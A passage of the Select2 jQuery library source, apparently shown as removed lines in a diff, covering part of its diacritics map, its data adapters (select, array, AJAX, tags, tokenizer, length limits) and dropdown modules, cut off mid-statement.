'\u01E7': 'g', - '\u0123': 'g', - '\u01E5': 'g', - '\u0260': 'g', - '\uA7A1': 'g', - '\u1D79': 'g', - '\uA77F': 'g', - '\u24D7': 'h', - '\uFF48': 'h', - '\u0125': 'h', - '\u1E23': 'h', - '\u1E27': 'h', - '\u021F': 'h', - '\u1E25': 'h', - '\u1E29': 'h', - '\u1E2B': 'h', - '\u1E96': 'h', - '\u0127': 'h', - '\u2C68': 'h', - '\u2C76': 'h', - '\u0265': 'h', - '\u0195': 'hv', - '\u24D8': 'i', - '\uFF49': 'i', - '\u00EC': 'i', - '\u00ED': 'i', - '\u00EE': 'i', - '\u0129': 'i', - '\u012B': 'i', - '\u012D': 'i', - '\u00EF': 'i', - '\u1E2F': 'i', - '\u1EC9': 'i', - '\u01D0': 'i', - '\u0209': 'i', - '\u020B': 'i', - '\u1ECB': 'i', - '\u012F': 'i', - '\u1E2D': 'i', - '\u0268': 'i', - '\u0131': 'i', - '\u24D9': 'j', - '\uFF4A': 'j', - '\u0135': 'j', - '\u01F0': 'j', - '\u0249': 'j', - '\u24DA': 'k', - '\uFF4B': 'k', - '\u1E31': 'k', - '\u01E9': 'k', - '\u1E33': 'k', - '\u0137': 'k', - '\u1E35': 'k', - '\u0199': 'k', - '\u2C6A': 'k', - '\uA741': 'k', - '\uA743': 'k', - '\uA745': 'k', - '\uA7A3': 'k', - '\u24DB': 'l', - '\uFF4C': 'l', - '\u0140': 'l', - '\u013A': 'l', - '\u013E': 'l', - '\u1E37': 'l', - '\u1E39': 'l', - '\u013C': 'l', - '\u1E3D': 'l', - '\u1E3B': 'l', - '\u017F': 'l', - '\u0142': 'l', - '\u019A': 'l', - '\u026B': 'l', - '\u2C61': 'l', - '\uA749': 'l', - '\uA781': 'l', - '\uA747': 'l', - '\u01C9': 'lj', - '\u24DC': 'm', - '\uFF4D': 'm', - '\u1E3F': 'm', - '\u1E41': 'm', - '\u1E43': 'm', - '\u0271': 'm', - '\u026F': 'm', - '\u24DD': 'n', - '\uFF4E': 'n', - '\u01F9': 'n', - '\u0144': 'n', - '\u00F1': 'n', - '\u1E45': 'n', - '\u0148': 'n', - '\u1E47': 'n', - '\u0146': 'n', - '\u1E4B': 'n', - '\u1E49': 'n', - '\u019E': 'n', - '\u0272': 'n', - '\u0149': 'n', - '\uA791': 'n', - '\uA7A5': 'n', - '\u01CC': 'nj', - '\u24DE': 'o', - '\uFF4F': 'o', - '\u00F2': 'o', - '\u00F3': 'o', - '\u00F4': 'o', - '\u1ED3': 'o', - '\u1ED1': 'o', - '\u1ED7': 'o', - '\u1ED5': 'o', - '\u00F5': 'o', - '\u1E4D': 'o', - '\u022D': 'o', - '\u1E4F': 'o', - '\u014D': 'o', - '\u1E51': 'o', - '\u1E53': 'o', - '\u014F': 'o', - '\u022F': 'o', - '\u0231': 'o', - '\u00F6': 'o', - '\u022B': 'o', - '\u1ECF': 'o', - '\u0151': 'o', - '\u01D2': 'o', - '\u020D': 'o', - '\u020F': 'o', - '\u01A1': 'o', - '\u1EDD': 'o', - '\u1EDB': 'o', - '\u1EE1': 'o', - '\u1EDF': 'o', - '\u1EE3': 'o', - '\u1ECD': 'o', - '\u1ED9': 'o', - '\u01EB': 'o', - '\u01ED': 'o', - '\u00F8': 'o', - '\u01FF': 'o', - '\u0254': 'o', - '\uA74B': 'o', - '\uA74D': 'o', - '\u0275': 'o', - '\u0153': 'oe', - '\u01A3': 'oi', - '\u0223': 'ou', - '\uA74F': 'oo', - '\u24DF': 'p', - '\uFF50': 'p', - '\u1E55': 'p', - '\u1E57': 'p', - '\u01A5': 'p', - '\u1D7D': 'p', - '\uA751': 'p', - '\uA753': 'p', - '\uA755': 'p', - '\u24E0': 'q', - '\uFF51': 'q', - '\u024B': 'q', - '\uA757': 'q', - '\uA759': 'q', - '\u24E1': 'r', - '\uFF52': 'r', - '\u0155': 'r', - '\u1E59': 'r', - '\u0159': 'r', - '\u0211': 'r', - '\u0213': 'r', - '\u1E5B': 'r', - '\u1E5D': 'r', - '\u0157': 'r', - '\u1E5F': 'r', - '\u024D': 'r', - '\u027D': 'r', - '\uA75B': 'r', - '\uA7A7': 'r', - '\uA783': 'r', - '\u24E2': 's', - '\uFF53': 's', - '\u00DF': 's', - '\u015B': 's', - '\u1E65': 's', - '\u015D': 's', - '\u1E61': 's', - '\u0161': 's', - '\u1E67': 's', - '\u1E63': 's', - '\u1E69': 's', - '\u0219': 's', - '\u015F': 's', - '\u023F': 's', - '\uA7A9': 's', - '\uA785': 's', - '\u1E9B': 's', - '\u24E3': 't', - '\uFF54': 't', - '\u1E6B': 't', - '\u1E97': 't', - '\u0165': 't', - '\u1E6D': 't', - '\u021B': 't', - '\u0163': 't', - '\u1E71': 't', - '\u1E6F': 't', - '\u0167': 't', - '\u01AD': 't', - '\u0288': 't', - '\u2C66': 't', - '\uA787': 't', - '\uA729': 'tz', - '\u24E4': 'u', - '\uFF55': 'u', - '\u00F9': 'u', - '\u00FA': 'u', - '\u00FB': 'u', - '\u0169': 'u', - '\u1E79': 'u', - '\u016B': 'u', - '\u1E7B': 'u', - '\u016D': 'u', - '\u00FC': 'u', - '\u01DC': 'u', - '\u01D8': 'u', - '\u01D6': 'u', - '\u01DA': 'u', - '\u1EE7': 'u', - '\u016F': 'u', - '\u0171': 'u', - '\u01D4': 'u', - '\u0215': 'u', - '\u0217': 'u', - '\u01B0': 'u', - '\u1EEB': 'u', - '\u1EE9': 'u', - '\u1EEF': 'u', - '\u1EED': 'u', - '\u1EF1': 'u', - '\u1EE5': 'u', - '\u1E73': 'u', - '\u0173': 'u', - '\u1E77': 'u', - '\u1E75': 'u', - '\u0289': 'u', - '\u24E5': 'v', - '\uFF56': 'v', - '\u1E7D': 'v', - '\u1E7F': 'v', - '\u028B': 'v', - '\uA75F': 'v', - '\u028C': 'v', - '\uA761': 'vy', - '\u24E6': 'w', - '\uFF57': 'w', - '\u1E81': 'w', - '\u1E83': 'w', - '\u0175': 'w', - '\u1E87': 'w', - '\u1E85': 'w', - '\u1E98': 'w', - '\u1E89': 'w', - '\u2C73': 'w', - '\u24E7': 'x', - '\uFF58': 'x', - '\u1E8B': 'x', - '\u1E8D': 'x', - '\u24E8': 'y', - '\uFF59': 'y', - '\u1EF3': 'y', - '\u00FD': 'y', - '\u0177': 'y', - '\u1EF9': 'y', - '\u0233': 'y', - '\u1E8F': 'y', - '\u00FF': 'y', - '\u1EF7': 'y', - '\u1E99': 'y', - '\u1EF5': 'y', - '\u01B4': 'y', - '\u024F': 'y', - '\u1EFF': 'y', - '\u24E9': 'z', - '\uFF5A': 'z', - '\u017A': 'z', - '\u1E91': 'z', - '\u017C': 'z', - '\u017E': 'z', - '\u1E93': 'z', - '\u1E95': 'z', - '\u01B6': 'z', - '\u0225': 'z', - '\u0240': 'z', - '\u2C6C': 'z', - '\uA763': 'z', - '\u0386': '\u0391', - '\u0388': '\u0395', - '\u0389': '\u0397', - '\u038A': '\u0399', - '\u03AA': '\u0399', - '\u038C': '\u039F', - '\u038E': '\u03A5', - '\u03AB': '\u03A5', - '\u038F': '\u03A9', - '\u03AC': '\u03B1', - '\u03AD': '\u03B5', - '\u03AE': '\u03B7', - '\u03AF': '\u03B9', - '\u03CA': '\u03B9', - '\u0390': '\u03B9', - '\u03CC': '\u03BF', - '\u03CD': '\u03C5', - '\u03CB': '\u03C5', - '\u03B0': '\u03C5', - '\u03CE': '\u03C9', - '\u03C2': '\u03C3', - '\u2019': '\'' - }; - - return diacritics; -}); - -S2.define('select2/data/base',[ - '../utils' -], function (Utils) { - function BaseAdapter ($element, options) { - BaseAdapter.__super__.constructor.call(this); - } - - Utils.Extend(BaseAdapter, Utils.Observable); - - BaseAdapter.prototype.current = function (callback) { - throw new Error('The `current` method must be defined in child classes.'); - }; - - BaseAdapter.prototype.query = function (params, callback) { - throw new Error('The `query` method must be defined in child classes.'); - }; - - BaseAdapter.prototype.bind = function (container, $container) { - // Can be implemented in subclasses - }; - - BaseAdapter.prototype.destroy = function () { - // Can be implemented in subclasses - }; - - BaseAdapter.prototype.generateResultId = function (container, data) { - var id = container.id + '-result-'; - - id += Utils.generateChars(4); - - if (data.id != null) { - id += '-' + data.id.toString(); - } else { - id += '-' + Utils.generateChars(4); - } - return id; - }; - - return BaseAdapter; -}); - -S2.define('select2/data/select',[ - './base', - '../utils', - 'jquery' -], function (BaseAdapter, Utils, $) { - function SelectAdapter ($element, options) { - this.$element = $element; - this.options = options; - - SelectAdapter.__super__.constructor.call(this); - } - - Utils.Extend(SelectAdapter, BaseAdapter); - - SelectAdapter.prototype.current = function (callback) { - var data = []; - var self = this; - - this.$element.find(':selected').each(function () { - var $option = $(this); - - var option = self.item($option); - - data.push(option); - }); - - callback(data); - }; - - SelectAdapter.prototype.select = function (data) { - var self = this; - - data.selected = true; - - // If data.element is a DOM node, use it instead - if ($(data.element).is('option')) { - data.element.selected = true; - - this.$element.trigger('input').trigger('change'); - - return; - } - - if (this.$element.prop('multiple')) { - this.current(function (currentData) { - var val = []; - - data = [data]; - data.push.apply(data, currentData); - - for (var d = 0; d < data.length; d++) { - var id = data[d].id; - - if ($.inArray(id, val) === -1) { - val.push(id); - } - } - - self.$element.val(val); - self.$element.trigger('input').trigger('change'); - }); - } else { - var val = data.id; - - this.$element.val(val); - this.$element.trigger('input').trigger('change'); - } - }; - - SelectAdapter.prototype.unselect = function (data) { - var self = this; - - if (!this.$element.prop('multiple')) { - return; - } - - data.selected = false; - - if ($(data.element).is('option')) { - data.element.selected = false; - - this.$element.trigger('input').trigger('change'); - - return; - } - - this.current(function (currentData) { - var val = []; - - for (var d = 0; d < currentData.length; d++) { - var id = currentData[d].id; - - if (id !== data.id && $.inArray(id, val) === -1) { - val.push(id); - } - } - - self.$element.val(val); - - self.$element.trigger('input').trigger('change'); - }); - }; - - SelectAdapter.prototype.bind = function (container, $container) { - var self = this; - - this.container = container; - - container.on('select', function (params) { - self.select(params.data); - }); - - container.on('unselect', function (params) { - self.unselect(params.data); - }); - }; - - SelectAdapter.prototype.destroy = function () { - // Remove anything added to child elements - this.$element.find('*').each(function () { - // Remove any custom data set by Select2 - Utils.RemoveData(this); - }); - }; - - SelectAdapter.prototype.query = function (params, callback) { - var data = []; - var self = this; - - var $options = this.$element.children(); - - $options.each(function () { - var $option = $(this); - - if (!$option.is('option') && !$option.is('optgroup')) { - return; - } - - var option = self.item($option); - - var matches = self.matches(params, option); - - if (matches !== null) { - data.push(matches); - } - }); - - callback({ - results: data - }); - }; - - SelectAdapter.prototype.addOptions = function ($options) { - Utils.appendMany(this.$element, $options); - }; - - SelectAdapter.prototype.option = function (data) { - var option; - - if (data.children) { - option = document.createElement('optgroup'); - option.label = data.text; - } else { - option = document.createElement('option'); - - if (option.textContent !== undefined) { - option.textContent = data.text; - } else { - option.innerText = data.text; - } - } - - if (data.id !== undefined) { - option.value = data.id; - } - - if (data.disabled) { - option.disabled = true; - } - - if (data.selected) { - option.selected = true; - } - - if (data.title) { - option.title = data.title; - } - - var $option = $(option); - - var normalizedData = this._normalizeItem(data); - normalizedData.element = option; - - // Override the option's data with the combined data - Utils.StoreData(option, 'data', normalizedData); - - return $option; - }; - - SelectAdapter.prototype.item = function ($option) { - var data = {}; - - data = Utils.GetData($option[0], 'data'); - - if (data != null) { - return data; - } - - if ($option.is('option')) { - data = { - id: $option.val(), - text: $option.text(), - disabled: $option.prop('disabled'), - selected: $option.prop('selected'), - title: $option.prop('title') - }; - } else if ($option.is('optgroup')) { - data = { - text: $option.prop('label'), - children: [], - title: $option.prop('title') - }; - - var $children = $option.children('option'); - var children = []; - - for (var c = 0; c < $children.length; c++) { - var $child = $($children[c]); - - var child = this.item($child); - - children.push(child); - } - - data.children = children; - } - - data = this._normalizeItem(data); - data.element = $option[0]; - - Utils.StoreData($option[0], 'data', data); - - return data; - }; - - SelectAdapter.prototype._normalizeItem = function (item) { - if (item !== Object(item)) { - item = { - id: item, - text: item - }; - } - - item = $.extend({}, { - text: '' - }, item); - - var defaults = { - selected: false, - disabled: false - }; - - if (item.id != null) { - item.id = item.id.toString(); - } - - if (item.text != null) { - item.text = item.text.toString(); - } - - if (item._resultId == null && item.id && this.container != null) { - item._resultId = this.generateResultId(this.container, item); - } - - return $.extend({}, defaults, item); - }; - - SelectAdapter.prototype.matches = function (params, data) { - var matcher = this.options.get('matcher'); - - return matcher(params, data); - }; - - return SelectAdapter; -}); - -S2.define('select2/data/array',[ - './select', - '../utils', - 'jquery' -], function (SelectAdapter, Utils, $) { - function ArrayAdapter ($element, options) { - this._dataToConvert = options.get('data') || []; - - ArrayAdapter.__super__.constructor.call(this, $element, options); - } - - Utils.Extend(ArrayAdapter, SelectAdapter); - - ArrayAdapter.prototype.bind = function (container, $container) { - ArrayAdapter.__super__.bind.call(this, container, $container); - - this.addOptions(this.convertToOptions(this._dataToConvert)); - }; - - ArrayAdapter.prototype.select = function (data) { - var $option = this.$element.find('option').filter(function (i, elm) { - return elm.value == data.id.toString(); - }); - - if ($option.length === 0) { - $option = this.option(data); - - this.addOptions($option); - } - - ArrayAdapter.__super__.select.call(this, data); - }; - - ArrayAdapter.prototype.convertToOptions = function (data) { - var self = this; - - var $existing = this.$element.find('option'); - var existingIds = $existing.map(function () { - return self.item($(this)).id; - }).get(); - - var $options = []; - - // Filter out all items except for the one passed in the argument - function onlyItem (item) { - return function () { - return $(this).val() == item.id; - }; - } - - for (var d = 0; d < data.length; d++) { - var item = this._normalizeItem(data[d]); - - // Skip items which were pre-loaded, only merge the data - if ($.inArray(item.id, existingIds) >= 0) { - var $existingOption = $existing.filter(onlyItem(item)); - - var existingData = this.item($existingOption); - var newData = $.extend(true, {}, item, existingData); - - var $newOption = this.option(newData); - - $existingOption.replaceWith($newOption); - - continue; - } - - var $option = this.option(item); - - if (item.children) { - var $children = this.convertToOptions(item.children); - - Utils.appendMany($option, $children); - } - - $options.push($option); - } - - return $options; - }; - - return ArrayAdapter; -}); - -S2.define('select2/data/ajax',[ - './array', - '../utils', - 'jquery' -], function (ArrayAdapter, Utils, $) { - function AjaxAdapter ($element, options) { - this.ajaxOptions = this._applyDefaults(options.get('ajax')); - - if (this.ajaxOptions.processResults != null) { - this.processResults = this.ajaxOptions.processResults; - } - - AjaxAdapter.__super__.constructor.call(this, $element, options); - } - - Utils.Extend(AjaxAdapter, ArrayAdapter); - - AjaxAdapter.prototype._applyDefaults = function (options) { - var defaults = { - data: function (params) { - return $.extend({}, params, { - q: params.term - }); - }, - transport: function (params, success, failure) { - var $request = $.ajax(params); - - $request.then(success); - $request.fail(failure); - - return $request; - } - }; - - return $.extend({}, defaults, options, true); - }; - - AjaxAdapter.prototype.processResults = function (results) { - return results; - }; - - AjaxAdapter.prototype.query = function (params, callback) { - var matches = []; - var self = this; - - if (this._request != null) { - // JSONP requests cannot always be aborted - if ($.isFunction(this._request.abort)) { - this._request.abort(); - } - - this._request = null; - } - - var options = $.extend({ - type: 'GET' - }, this.ajaxOptions); - - if (typeof options.url === 'function') { - options.url = options.url.call(this.$element, params); - } - - if (typeof options.data === 'function') { - options.data = options.data.call(this.$element, params); - } - - function request () { - var $request = options.transport(options, function (data) { - var results = self.processResults(data, params); - - if (self.options.get('debug') && window.console && console.error) { - // Check to make sure that the response included a `results` key. - if (!results || !results.results || !$.isArray(results.results)) { - console.error( - 'Select2: The AJAX results did not return an array in the ' + - '`results` key of the response.' - ); - } - } - - callback(results); - }, function () { - // Attempt to detect if a request was aborted - // Only works if the transport exposes a status property - if ('status' in $request && - ($request.status === 0 || $request.status === '0')) { - return; - } - - self.trigger('results:message', { - message: 'errorLoading' - }); - }); - - self._request = $request; - } - - if (this.ajaxOptions.delay && params.term != null) { - if (this._queryTimeout) { - window.clearTimeout(this._queryTimeout); - } - - this._queryTimeout = window.setTimeout(request, this.ajaxOptions.delay); - } else { - request(); - } - }; - - return AjaxAdapter; -}); - -S2.define('select2/data/tags',[ - 'jquery' -], function ($) { - function Tags (decorated, $element, options) { - var tags = options.get('tags'); - - var createTag = options.get('createTag'); - - if (createTag !== undefined) { - this.createTag = createTag; - } - - var insertTag = options.get('insertTag'); - - if (insertTag !== undefined) { - this.insertTag = insertTag; - } - - decorated.call(this, $element, options); - - if ($.isArray(tags)) { - for (var t = 0; t < tags.length; t++) { - var tag = tags[t]; - var item = this._normalizeItem(tag); - - var $option = this.option(item); - - this.$element.append($option); - } - } - } - - Tags.prototype.query = function (decorated, params, callback) { - var self = this; - - this._removeOldTags(); - - if (params.term == null || params.page != null) { - decorated.call(this, params, callback); - return; - } - - function wrapper (obj, child) { - var data = obj.results; - - for (var i = 0; i < data.length; i++) { - var option = data[i]; - - var checkChildren = ( - option.children != null && - !wrapper({ - results: option.children - }, true) - ); - - var optionText = (option.text || '').toUpperCase(); - var paramsTerm = (params.term || '').toUpperCase(); - - var checkText = optionText === paramsTerm; - - if (checkText || checkChildren) { - if (child) { - return false; - } - - obj.data = data; - callback(obj); - - return; - } - } - - if (child) { - return true; - } - - var tag = self.createTag(params); - - if (tag != null) { - var $option = self.option(tag); - $option.attr('data-select2-tag', true); - - self.addOptions([$option]); - - self.insertTag(data, tag); - } - - obj.results = data; - - callback(obj); - } - - decorated.call(this, params, wrapper); - }; - - Tags.prototype.createTag = function (decorated, params) { - var term = $.trim(params.term); - - if (term === '') { - return null; - } - - return { - id: term, - text: term - }; - }; - - Tags.prototype.insertTag = function (_, data, tag) { - data.unshift(tag); - }; - - Tags.prototype._removeOldTags = function (_) { - var $options = this.$element.find('option[data-select2-tag]'); - - $options.each(function () { - if (this.selected) { - return; - } - - $(this).remove(); - }); - }; - - return Tags; -}); - -S2.define('select2/data/tokenizer',[ - 'jquery' -], function ($) { - function Tokenizer (decorated, $element, options) { - var tokenizer = options.get('tokenizer'); - - if (tokenizer !== undefined) { - this.tokenizer = tokenizer; - } - - decorated.call(this, $element, options); - } - - Tokenizer.prototype.bind = function (decorated, container, $container) { - decorated.call(this, container, $container); - - this.$search = container.dropdown.$search || container.selection.$search || - $container.find('.select2-search__field'); - }; - - Tokenizer.prototype.query = function (decorated, params, callback) { - var self = this; - - function createAndSelect (data) { - // Normalize the data object so we can use it for checks - var item = self._normalizeItem(data); - - // Check if the data object already exists as a tag - // Select it if it doesn't - var $existingOptions = self.$element.find('option').filter(function () { - return $(this).val() === item.id; - }); - - // If an existing option wasn't found for it, create the option - if (!$existingOptions.length) { - var $option = self.option(item); - $option.attr('data-select2-tag', true); - - self._removeOldTags(); - self.addOptions([$option]); - } - - // Select the item, now that we know there is an option for it - select(item); - } - - function select (data) { - self.trigger('select', { - data: data - }); - } - - params.term = params.term || ''; - - var tokenData = this.tokenizer(params, this.options, createAndSelect); - - if (tokenData.term !== params.term) { - // Replace the search term if we have the search box - if (this.$search.length) { - this.$search.val(tokenData.term); - this.$search.trigger('focus'); - } - - params.term = tokenData.term; - } - - decorated.call(this, params, callback); - }; - - Tokenizer.prototype.tokenizer = function (_, params, options, callback) { - var separators = options.get('tokenSeparators') || []; - var term = params.term; - var i = 0; - - var createTag = this.createTag || function (params) { - return { - id: params.term, - text: params.term - }; - }; - - while (i < term.length) { - var termChar = term[i]; - - if ($.inArray(termChar, separators) === -1) { - i++; - - continue; - } - - var part = term.substr(0, i); - var partParams = $.extend({}, params, { - term: part - }); - - var data = createTag(partParams); - - if (data == null) { - i++; - continue; - } - - callback(data); - - // Reset the term to not include the tokenized portion - term = term.substr(i + 1) || ''; - i = 0; - } - - return { - term: term - }; - }; - - return Tokenizer; -}); - -S2.define('select2/data/minimumInputLength',[ - -], function () { - function MinimumInputLength (decorated, $e, options) { - this.minimumInputLength = options.get('minimumInputLength'); - - decorated.call(this, $e, options); - } - - MinimumInputLength.prototype.query = function (decorated, params, callback) { - params.term = params.term || ''; - - if (params.term.length < this.minimumInputLength) { - this.trigger('results:message', { - message: 'inputTooShort', - args: { - minimum: this.minimumInputLength, - input: params.term, - params: params - } - }); - - return; - } - - decorated.call(this, params, callback); - }; - - return MinimumInputLength; -}); - -S2.define('select2/data/maximumInputLength',[ - -], function () { - function MaximumInputLength (decorated, $e, options) { - this.maximumInputLength = options.get('maximumInputLength'); - - decorated.call(this, $e, options); - } - - MaximumInputLength.prototype.query = function (decorated, params, callback) { - params.term = params.term || ''; - - if (this.maximumInputLength > 0 && - params.term.length > this.maximumInputLength) { - this.trigger('results:message', { - message: 'inputTooLong', - args: { - maximum: this.maximumInputLength, - input: params.term, - params: params - } - }); - - return; - } - - decorated.call(this, params, callback); - }; - - return MaximumInputLength; -}); - -S2.define('select2/data/maximumSelectionLength',[ - -], function (){ - function MaximumSelectionLength (decorated, $e, options) { - this.maximumSelectionLength = options.get('maximumSelectionLength'); - - decorated.call(this, $e, options); - } - - MaximumSelectionLength.prototype.bind = - function (decorated, container, $container) { - var self = this; - - decorated.call(this, container, $container); - - container.on('select', function () { - self._checkIfMaximumSelected(); - }); - }; - - MaximumSelectionLength.prototype.query = - function (decorated, params, callback) { - var self = this; - - this._checkIfMaximumSelected(function () { - decorated.call(self, params, callback); - }); - }; - - MaximumSelectionLength.prototype._checkIfMaximumSelected = - function (_, successCallback) { - var self = this; - - this.current(function (currentData) { - var count = currentData != null ? currentData.length : 0; - if (self.maximumSelectionLength > 0 && - count >= self.maximumSelectionLength) { - self.trigger('results:message', { - message: 'maximumSelected', - args: { - maximum: self.maximumSelectionLength - } - }); - return; - } - - if (successCallback) { - successCallback(); - } - }); - }; - - return MaximumSelectionLength; -}); - -S2.define('select2/dropdown',[ - 'jquery', - './utils' -], function ($, Utils) { - function Dropdown ($element, options) { - this.$element = $element; - this.options = options; - - Dropdown.__super__.constructor.call(this); - } - - Utils.Extend(Dropdown, Utils.Observable); - - Dropdown.prototype.render = function () { - var $dropdown = $( - '<span class="select2-dropdown">' + - '<span class="select2-results"></span>' + - '</span>' - ); - - $dropdown.attr('dir', this.options.get('dir')); - - this.$dropdown = $dropdown; - - return $dropdown; - }; - - Dropdown.prototype.bind = function () { - // Should be implemented in subclasses - }; - - Dropdown.prototype.position = function ($dropdown, $container) { - // Should be implemented in subclasses - }; - - Dropdown.prototype.destroy = function () { - // Remove the dropdown from the DOM - this.$dropdown.remove(); - }; - - return Dropdown; -}); - -S2.define('select2/dropdown/search',[ - 'jquery', - '../utils' -], function ($, Utils) { - function Search () { } - - Search.prototype.render = function (decorated) { - var $rendered = decorated.call(this); - - var $search = $( - '<span class="select2-search select2-search--dropdown">' + - '<input class="select2-search__field" type="search" tabindex="-1"' + - ' autocomplete="off" autocorrect="off" autocapitalize="none"' + - ' spellcheck="false" role="searchbox" aria-autocomplete="list" />' + - '</span>' - ); - - this.$searchContainer = $search; - this.$search = $search.find('input'); - - $rendered.prepend($search); - - return $rendered; - }; - - Search.prototype.bind = function (decorated, container, $container) { - var self = this; - - var resultsId = container.id + '-results'; - - decorated.call(this, container, $container); - - this.$search.on('keydown', function (evt) { - self.trigger('keypress', evt); - - self._keyUpPrevented = evt.isDefaultPrevented(); - }); - - // Workaround for browsers which do not support the `input` event - // This will prevent double-triggering of events for browsers which support - // both the `keyup` and `input` events. - this.$search.on('input', function (evt) { - // Unbind the duplicated `keyup` event - $(this).off('keyup'); - }); - - this.$search.on('keyup input', function (evt) { - self.handleSearch(evt); - }); - - container.on('open', function () { - self.$search.attr('tabindex', 0); - self.$search.attr('aria-controls', resultsId); - - self.$search.trigger('focus'); - - window.setTimeout(function () { - self.$search.trigger('focus'); - }, 0); - }); - - container.on('close', function () { - self.$search.attr('tabindex', -1); - self.$search.removeAttr('aria-controls'); - self.$search.removeAttr('aria-activedescendant'); - - self.$search.val(''); - self.$search.trigger('blur'); - }); - - container.on('focus', function () { - if (!container.isOpen()) { - self.$search.trigger('focus'); - } - }); - - container.on('results:all', function (params) { - if (params.query.term == null || params.query.term === '') { - var showSearch = self.showSearch(params); - - if (showSearch) { - self.$searchContainer.removeClass('select2-search--hide'); - } else { - self.$searchContainer.addClass('select2-search--hide'); - } - } - }); - - container.on('results:focus', function (params) { - if (params.data._resultId) { - self.$search.attr('aria-activedescendant', params.data._resultId); - } else { - self.$search.removeAttr('aria-activedescendant'); - } - }); - }; - - Search.prototype.handleSearch = function (evt) { - if (!this._keyUpPrevented) { - var input = this.$search.val(); - - this.trigger('query', { - term: input - }); - } - - this._keyUpPrevented = false; - }; - - Search.prototype.showSearch = function (_, params) { - return true; - }; - - return Search; -}); - -S2.define('select2/dropdown/hidePlaceholder',[ - -], function () { - function HidePlaceholder (decorated, $element, options, dataAdapter) { - this.placeholder = this.normalizePlaceholder(options.get('placeholder')); - - decorated.call(this, $element, options, dataAdapter); - } - - HidePlaceholder.prototype.append = function (decorated, data) { - data.results = this.removePlaceholder(data.results); - - decorated.call(this, data); - }; - - HidePlaceholder.prototype.normalizePlaceholder = function (_, placeholder) { - if (typeof placeholder === 'string') { - placeholder = { - id: '', - text: placeholder - }; - } - - return placeholder; - }; - - HidePlaceholder.prototype.removePlaceholder = function (_, data) { - var modifiedData = data.slice(0); - - for (var d = data.length - 1; d >= 0; d--) { - var item = data[d]; - - if (this.placeholder.id === item.id) { - modifiedData.splice(d, 1); - } - } - - return modifiedData; - }; - - return HidePlaceholder; -}); - -S2.define('select2/dropdown/infiniteScroll',[ - 'jquery' -], function ($) { - function InfiniteScroll (decorated, $element, options, dataAdapter) { - this.lastParams = {}; - - decorated.call(this, $element, options, dataAdapter); - - this.$loadingMore = this.createLoadingMore(); - this.loading = false; - } - - InfiniteScroll.prototype.append = function (decorated, data) { - this.$loadingMore.remove(); - this.loading = false; - - decorated.call(this, data); - - if (this.showLoadingMore(data)) { - this.$results.append(this.$loadingMore); - this.loadMoreIfNeeded(); - } - }; - - InfiniteScroll.prototype.bind = function (decorated, container, $container) { - var self = this; - - decorated.call(this, container, $container); - - container.on('query', function (params) { - self.lastParams = params; - self.loading = true; - }); - - container.on('query:append', function (params) { - self.lastParams = params; - self.loading = true; - }); - - this.$results.on('scroll', this.loadMoreIfNeeded.bind(this)); - }; - - InfiniteScroll.prototype.loadMoreIfNeeded = function () { - var isLoadMoreVisible = $.contains( - document.documentElement, - this.$loadingMore[0] - ); - - if (this.loading || !isLoadMoreVisible) { - return; - } - - var currentOffset = this.$results.offset().top + - this.$results.outerHeight(false); - var loadingMoreOffset = this.$loadingMore.offset().top + - this.$loadingMore.outerHeight(false); - - if (currentOffset + 50 >= loadingMoreOffset) { - this.loadMore(); - } - }; - - InfiniteScroll.prototype.loadMore = function () { - this.loading = true; - - var params = $.extend({}, {page: 1}, this.lastParams); - - params.page++; - - this.trigger('query:append', params); - }; - - InfiniteScroll.prototype.showLoadingMore = function (_, data) { - return data.pagination && data.pagination.more; - }; - - InfiniteScroll.prototype.createLoadingMore = function () { - var $option = $( - '<li ' + - 'class="select2-results__option select2-results__option--load-more"' + - 'role="option" aria-disabled="true"></li>' - ); - - var message = this.options.get('translations').get('loadingMore'); - - $option.html(message(this.lastParams)); - - return $option; - }; - - return InfiniteScroll; -}); - -S2.define('select2/dropdown/attachBody',[ - 'jquery', - '../utils' -], function ($, Utils) { - function AttachBody (decorated, $element, options) { - this.$dropdownParent = $(options.get('dropdownParent') || document.body); - - decorated.call(this, $element, options); - } - - AttachBody.prototype.bind = function (decorated, container, $container) { - var self = this; - - decorated.call(this, container, $container); - - container.on('open', function () { - self._showDropdown(); - self._attachPositioningHandler(container); - - // Must bind after the results handlers to ensure correct sizing - self._bindContainerResultHandlers(container); - }); - - container.on('close', function () { - self._hideDropdown(); - self._detachPositioningHandler(container); - }); - - this.$dropdownContainer.on('mousedown', function (evt) { - evt.stopPropagation(); - }); - }; - - AttachBody.prototype.destroy = function (decorated) { - decorated.call(this); - - this.$dropdownContainer.remove(); - }; - - AttachBody.prototype.position = function (decorated, $dropdown, $container) { - // Clone all of the container classes - $dropdown.attr('class', $container.attr('class')); - - $dropdown.removeClass('select2'); - $dropdown.addClass('select2-container--open'); - - $dropdown.css({ - position: 'absolute', - top: -999999 - }); - - this.$container = $container; - }; - - AttachBody.prototype.render = function (decorated) { - var $container = $('<span></span>'); - - var $dropdown = decorated.call(this); - $container.append($dropdown); - - this.$dropdownContainer = $container; - - return $container; - }; - - AttachBody.prototype._hideDropdown = function (decorated) { - this.$dropdownContainer.detach(); - }; - - AttachBody.prototype._bindContainerResultHandlers = - function (decorated, container) { - - // These should only be bound once - if (this._containerResultsHandlersBound) { - return; - } - - var self = this; - - container.on('results:all', function () { - self._positionDropdown(); - self._resizeDropdown(); - }); - - container.on('results:append', function () { - self._positionDropdown(); - self._resizeDropdown(); - }); - - container.on('results:message', function () { - self._positionDropdown(); - self._resizeDropdown(); - }); - - container.on('select', function () { - self._positionDropdown(); - self._resizeDropdown(); - }); - - container.on('unselect', function () { - self._positionDropdown(); - self._resizeDropdown(); - }); - - this._containerResultsHandlersBound = true; - }; - - AttachBody.prototype._attachPositioningHandler = - function (decorated, container) { - var self = this; - - var scrollEvent = 'scroll.select2.' + container.id; - var resizeEvent = 'resize.select2.' + container.id; - var orientationEvent = 'orientationchange.select2.' + container.id; - - var $watchers = this.$container.parents().filter(Utils.hasScroll); - $watchers.each(function () { - Utils.StoreData(this, 'select2-scroll-position', { - x: $(this).scrollLeft(), - y: $(this).scrollTop() - }); - }); - - $watchers.on(scrollEvent, function (ev) { - var position = Utils.GetData(this, 'select2-scroll-position'); - $(this).scrollTop(position.y); - }); - - $(window).on(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent, - function (e) { - self._positionDropdown(); - self._resizeDropdown(); - }); - }; - - AttachBody.prototype._detachPositioningHandler = - function (decorated, container) { - var scrollEvent = 'scroll.select2.' + container.id; - var resizeEvent = 'resize.select2.' + container.id; - var orientationEvent = 'orientationchange.select2.' + container.id; - - var 